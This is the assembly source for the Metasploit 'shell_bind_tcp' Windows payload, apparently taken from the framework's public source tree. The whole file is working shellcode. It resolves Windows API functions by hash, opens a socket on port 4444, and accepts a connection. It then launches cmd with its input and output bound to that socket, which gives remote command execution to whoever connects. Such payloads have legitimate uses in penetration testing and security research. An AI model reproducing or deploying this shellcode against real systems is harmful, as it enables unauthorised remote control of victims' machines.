;
; Metasploit Framework
; http://www.metasploit.com
;
; Source for shell_bind_tcp (single)
;
; Authors: vlad902 <vlad902@gmail.com>
; Size   : 317
;

cld
push byte -0x15
dec ebp
call 0x2
pusha
mov ebp,[esp+0x24]
mov eax,[ebp+0x3c]
mov edi,[ebp+eax+0x78]
add edi,ebp
mov ecx,[edi+0x18]
mov ebx,[edi+0x20]
add ebx,ebp
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp
xor eax,eax
cdq
lodsb
test al,al
jz 0x34
ror edx,0xd
add edx,eax
jmp short 0x28
cmp edx,[esp+0x28]
jnz 0x1f
mov ebx,[edi+0x24]
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edi+0x1c]
add ebx,ebp
add ebp,[ebx+ecx*4]
mov [esp+0x1c],ebp
popa
ret
xor ebx,ebx
mov eax,[fs:ebx+0x30]
mov eax,[eax+0xc]
mov esi,[eax+0x1c]
lodsd
mov eax,[eax+0x8]
pop esi
push dword 0xec0e4e8e
push eax
call esi
push bx
push word 0x3233
push dword 0x5f327377
push esp
call eax
push dword 0x3bfcedcb
push eax
call esi
pop edi
mov ebp,esp
sub bp,0x208
push ebp
push byte +0x2
call eax
push dword 0xadf509d9
push edi
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
inc ebx
push ebx
inc ebx
push ebx
call eax
push word 0x5c11
push bx
mov ecx,esp
xchg eax,ebp
push dword 0xc7701aa4
push edi
call esi
push byte +0x10
push ecx
push ebp
call eax
push dword 0xe92eada4
push edi
call esi
push ebx
push ebp
call eax
push dword 0x498649e5
push edi
call esi
push eax
push esp
push esp
push ebp
call eax
xchg eax,ebx
push dword 0x79c679e7
push edi
call esi
push ebp
call eax
o16 push byte +0x64
push word 0x6d63
mov ebp,esp
push byte +0x50
pop ecx
sub esp,ecx
mov edi,esp
push byte +0x44
mov edx,esp
xor eax,eax
rep stosb
inc byte [edx+0x2d]
inc byte [edx+0x2c]
xchg eax,ebx
lea edi,[edx+0x38]
stosd
stosd
stosd
push dword 0x16b3fe72
push dword [ebp+0x44]
call esi
pop ebx
push edi
push edx
push ecx
push ecx
push ecx
push byte +0x1
push ecx
push ecx
push ebp
push ecx
call eax
push dword 0xce05d9ad
push ebx
call esi
push byte -0x1
push dword [edi]
call eax
mov edx,[edi-0x4]
add esp,byte +0x64
call esi
push edx
call eax
push dword 0x5f048af0
push ebx
call esi
call eax
